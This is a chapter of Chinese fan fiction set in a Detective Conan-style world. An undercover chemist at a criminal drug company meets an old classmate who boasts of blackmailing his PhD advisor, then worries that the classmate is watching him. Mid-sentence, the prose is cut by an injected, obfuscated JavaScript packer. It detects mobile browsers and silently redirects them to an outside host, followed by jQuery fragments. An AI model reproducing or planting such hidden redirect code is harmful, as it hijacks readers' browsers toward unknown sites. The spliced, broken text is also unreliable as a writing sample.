长岛京悟维持着震惊的神色,大脑一片空白,不知道该如何应对这荒唐的现实。他索性低头猛扒饭,像是要把所有的情绪都塞进嘴里咽下去。他的筷子在碗里翻飞,一口接一口地恶狠狠咬着猪扒饭,仿佛只要吃得足够快,就能压住心头被现实暴击后的悲愤。
这段时间,松本彻就一直笑眯眯地看着他,眼里满是清澈的对青春的怀念,和久别重逢的欣喜,像是在回味某段无忧无虑的时光。
两人就这么维持着一种尴尬但和谐的气氛,默契地埋头吃饭,谁都没有先开口,餐桌上只剩下碗筷碰撞的细微声音。
过了将近十分钟,松本彻像是终于感慨够了,才慢悠悠地开口打破沉默:“社长,你缓过来了吗?”
长岛京悟深吸一口气,像是在努力消化这一连串的打击,声音里还带着一丝余震:“还没……但应该死不了。你要说啥?”
松本彻不紧不慢地笑了笑:“哦,我只是想说,真是巧啊。社长,你是怎么想到要来这里工作的?”
长岛京悟心里咬牙切齿地想:和你这个自愿投身犯罪组织、誓要为邪恶事业添砖加瓦的叛徒不一样,我是来掀翻这里的!
但他到底是个讲道理的人,在心里把松本彻骂了一遍后,还是很有素质地抛出了自己事先准备好的说辞:“我是博士毕业后应届生招聘进来的,我的师兄之前是这里的员工,他离职后推荐我过来工作。”
松本彻点点头,露出若有所思的表情:“了解了。所以社长在国外读的博?你读了几年?”
听到这话,长岛京悟顿时心里一沉。
他这才意识到一个极其残酷的现实——松本彻在这里,绝对算是他的前辈。
高中时,松本彻是他的学弟,但眼下,在这家犯罪制药公司里,对方已经是稳稳的资深员工。如果这家伙已经在这里工作一年了,那意味着他博士毕业至少不会超过四年。
四年博士毕业可是个天才才能做到的壮举。
长岛京悟低头盯着自己的饭碗。他努力让自己的语气听上去平静,甚至还想挤出一点勉强的自嘲,但话一出口,还是带着一丝无地自容的心虚:“我……我读了六年。你呢?”
松本彻甚至连思考都没思考,语气轻松得像是在聊天气:“哦,我比较幸运,三年毕业。”
……长岛京悟彻底破防了。
三年?!博士三年?!他几乎能听见自己心态炸裂的声音:这、这家伙到底是怎么回事?!
他记得很清楚,高中时的松本彻还徘徊在及格线的边缘,属于那种六十分万岁的选手。考试前,松本彻最常干的事就是抱着卷子一脸痛苦地找他划重点,靠着只要学不死就往往死里学低空飞过。甚至高三毕业的时候长岛京悟还特意把自己三年的笔记本都留给了他,生怕他考不上大学,到最后实在走投无路去混黑手党,毕竟他们横滨的确是盛产这个。
长岛京悟大脑空白地抬头看了一眼松本彻,试图在对方脸上找到一丝开玩笑的迹象——然而,松本彻神色坦然,甚至带着点真诚的谦逊。
这家伙是真的、真的博士三年毕业了,是天才中的天才,比长岛京悟可厉害到不知道哪里去了。
自己的失败固然难过,昔日同窗的成功更令人崩溃。长岛京悟干巴巴地笑了两声:“哈哈……那祝贺你哦,哈哈哈。”
松本彻豪迈地摆了摆手:“别这么震惊,社长。其实呢,博士这东西啊,说白了就跟横滨的地盘一样,谁拳头硬、手段狠,谁就能抢到最大的资源。你要是能找准门道,提前毕业根本不是什么难事。”
长岛京悟的眉头猛地一皱,心里隐隐约约升起一种极其不妙的预感。
“……不是,等一下。”他的语气有些迷茫,“读博不是这样的吧。你博士到底都干了些什么啊?”
松本彻咧开嘴,露出一口白牙:“我博士导师那时候挺有名气的,人脉很广,项目也多,但他这个人有个毛病,就是喜欢拖学生的毕业时间,说什么‘培养科研人才不能急功近利’之类的屁话,实际上就是想把我们当廉价劳动力使唤。”说到这里,他嗤笑了一声, “但我不喜欢给别人当牛马,尤其是给那种会骑在你头上作威作福的老登。于是我就想了个办法。”
长岛京悟虎躯一震,突然开始感到害怕:“……什么办法?”
松本彻轻描淡写地说:“啊,也没什么,就是给我导师送了一份大礼,找点路子查了查他,发现了他挪用科研经费的证据,稍微当面威胁了一下。”
长岛京悟:“…………”
……这不就是学术黑手党吗?!
哪里的大学能够培养出这么务实的博士啊?
他艰难地开口:“松本,你在哪里读的博?”
松本彻自豪地说:“就是咱们横滨大学啊。我这个人比较恋家,本硕博都在横滨读的。”
……破案了。横滨,果然是卧虎藏龙的地方。原来不仅是港口黑手党的人敢在街头真刀真枪地干架,连学术圈也这么黑/道,怎么不算是一种城市名片和地方特色。
标准横滨人松本彻来这里打工,好像也不是什么说不过去的事情了。毕竟用魔法打败魔法也不失为一种职场生存之道。
好像莫名其妙地原谅他一点了。长岛京悟还想说什么,但是已经快一点钟了,他们得赶紧交餐盘走人。他四处张望了一会儿,在食堂的另外一个角落发现了吃得肚皮滚圆、几乎瘫在座位上的萩原研二和松田阵平。松本彻看着他找人,很爽朗地笑了:“社长,刚来就带新人呢?”
长岛京悟边向两个dk挥手边说:“不算新人吧,因为最近压力大,所以赶紧找了几个暑期兼职的小孩过来帮我打打下手。”
松本彻说:“原来如此。社长,你要是有什么需要的,请务必来找我。我在这里呆了两年,对这里的汇报流程、部门运作、甚至高层的行事风格都挺清楚的。”
长岛京悟说:“嗯,好的,那谢谢你了,松本。”他说话的同时,几乎是不由自主地侧过身,挡住了松本彻的视线,以一种保护的姿态,不让他再多打量两个正慢吞吞向他挪动的食物黑洞。
松本彻似乎注意到了这个微妙的动作,笑了一声,没有追问,从善如流地端起餐盘,往另一个方向的回收点走去。
就在他起身的瞬间,长岛京悟听见他用只有两个人才能听到的声音说:“社长,不管是什么忙我们都能帮你的,只要跟我说就好。”
他把“我们”二字咬得很重,就好像生怕长岛京悟以为自己听错了一样。
长岛京悟猛地抬头,还没来得及做出反应,就看到松本彻朝他轻轻眨了一下眼,端着餐盘走远了。
。
——什么叫“我们都能帮你”?“我们”指的是谁?
长岛京悟心里隐隐泛起一丝不安。他很清楚松本彻是在暗示些什么,可线索太少了,他无法拼凑出完整的答案。
与此同时,两个刚刚还在埋头苦吃的少年已经站到他身边。乍一看,他们似乎比刚进食堂时大了一整圈,好像连肩膀都宽厚了……
“都吃饱了?”长岛京悟刚问出这句话就后悔了,看这两个孩子吃得这个样子,很显然是已经把自己很多个器官都清空了换成胃容量胡吃猛塞。这要是还没吃饱,马蒂尼得直接去买个屠宰场回来吧。
松田阵平说:“吃饱了。京悟哥,这里待遇真不错。你天天在这里上班真是太好了!”
长岛京悟学着记忆里的老登板起脸催促:“吃饱了就行,快到一点了,赶紧给我回去干活。”
三人并肩走出食堂,踏进电梯。金属门缓缓闭合,电梯里一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15175919|158780||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时安静下来,直到萩原研二像是随意找话题一样开口:“京悟哥,刚才和你一起吃饭的那个前辈,感觉跟你关系很好啊。”
长岛京悟愣了一下:“……诶,有吗?不过我们就是老同学而已啦,高中毕业后第一次见呢,没想到都在这里工作。”
话虽这么说,他比任何人都清楚这次重逢有多么不寻常。
他本身也不太相信所谓命运的巧合。至少在他回来之前,赤井秀一的紧急卧底培训课里的一条主要思想就是:任何看似轻松愉快的相遇,都可能隐藏着深不见底的陷阱。
只是松本彻是他高中这么长时间的鬼混搭子,每个星期两个小时的社团活动也是他青春里难以忘怀的快乐时光。就算如今已经是各自为营的成年世界,他还是难免会私心地想——万一这次只是运气好呢?万一这个山头本来就这么小,兜兜转转,两只牛马吃着草就重逢了呢?
萩原研二哦了一声,然后若有所思道:“这样啊。那我觉得他至少应该很早就知道你在这里工作了。”
萩原研二的话像是一盆冷水,将长岛京悟心底唯一的一点侥幸也一并浇灭了。
好在此时电梯门开了,大家都在往外走,没人看到他有些失态的表情。他们穿过走廊往实验室走去,这时长岛京悟整理好了心情,假装若无其事地问:“为什么这么说?”
萩原研二没有立刻回答,而是像在脑海中梳理思路,过了几秒才开口:“嗯……至少我刚才在远处看的时候,觉得他的反应有点不太对劲。”
松田阵平问:“哪方面不对劲?”
萩原研二说:“他看到你的那一瞬间不对劲。如果是普通的老同学重逢,第一反应一般是惊讶,然后才是喜悦,或者会习惯性地问一句‘你怎么会在这里’之类的吧?但是那个前辈没有哦。虽然很微妙,但是我的直觉一直都很准——他的情绪没有起伏,完全没有惊讶,只有开心呢。”
“所以我在想,”萩原研二若有所思地看着长岛京悟,“他应当是知道你在这里,但没有预料到会这么快见到你。”
长岛京悟原本因为重逢而升起的那点雀跃感瞬间冷却了。他有些难过地想:松本既然知道他被招募,说明他应该是白鸠制药比较资深的员工,说不定也是个有酒名的高层。也就是说,他之后还要警惕松本了。
这句话在脑海里转了一圈,最终变成一声无声的叹息。
他当然知道自己现在所处的世界已经不能允许任何天真的信任。可惜,就算明白这些,该有的失落还是不可避免地浮上心头:人长大之后,连见到老朋友都要提防着,未免有点太悲哀了。
不过,这些事情是不能告诉孩子的。他迅速调整好表情,将所有情绪压回理智之下,像是刚才那点波动从未发生过一样。
“是吗?你直觉一直都很准?”长岛京悟用调侃的语气打趣道,“那下次买彩票记得带上我。”
松田阵平笑起来:“他直觉确实挺准的,尤其是抓别人小动作的时候。不过京悟哥你为什么看上去有点不高兴呢?在公司里见到了好朋友是件开心的事情呀。”
长岛京悟没有接话,顺势推开实验室的门,示意两人赶紧回去继续刷试管。
松田阵平和萩原研二对视了一眼,倒也没继续追问,乖乖回到工位。实验室里很快恢复了正常的节奏,只有流动的水声和窸窸窣窣的擦拭声混杂在一起,偶尔夹杂着玻璃器皿轻轻碰撞的清脆响动。
长岛京悟走回自己的办公室,拉开椅子坐下,目光落在电脑屏幕上,却迟迟没有点开数据界面。
就在这时,他的邮箱显示收到了一封新邮件。
【From:朗姆
To:长岛京悟
进度呢?两周过去了,该拿点东西出来了。这周五来我办公室做个汇报。】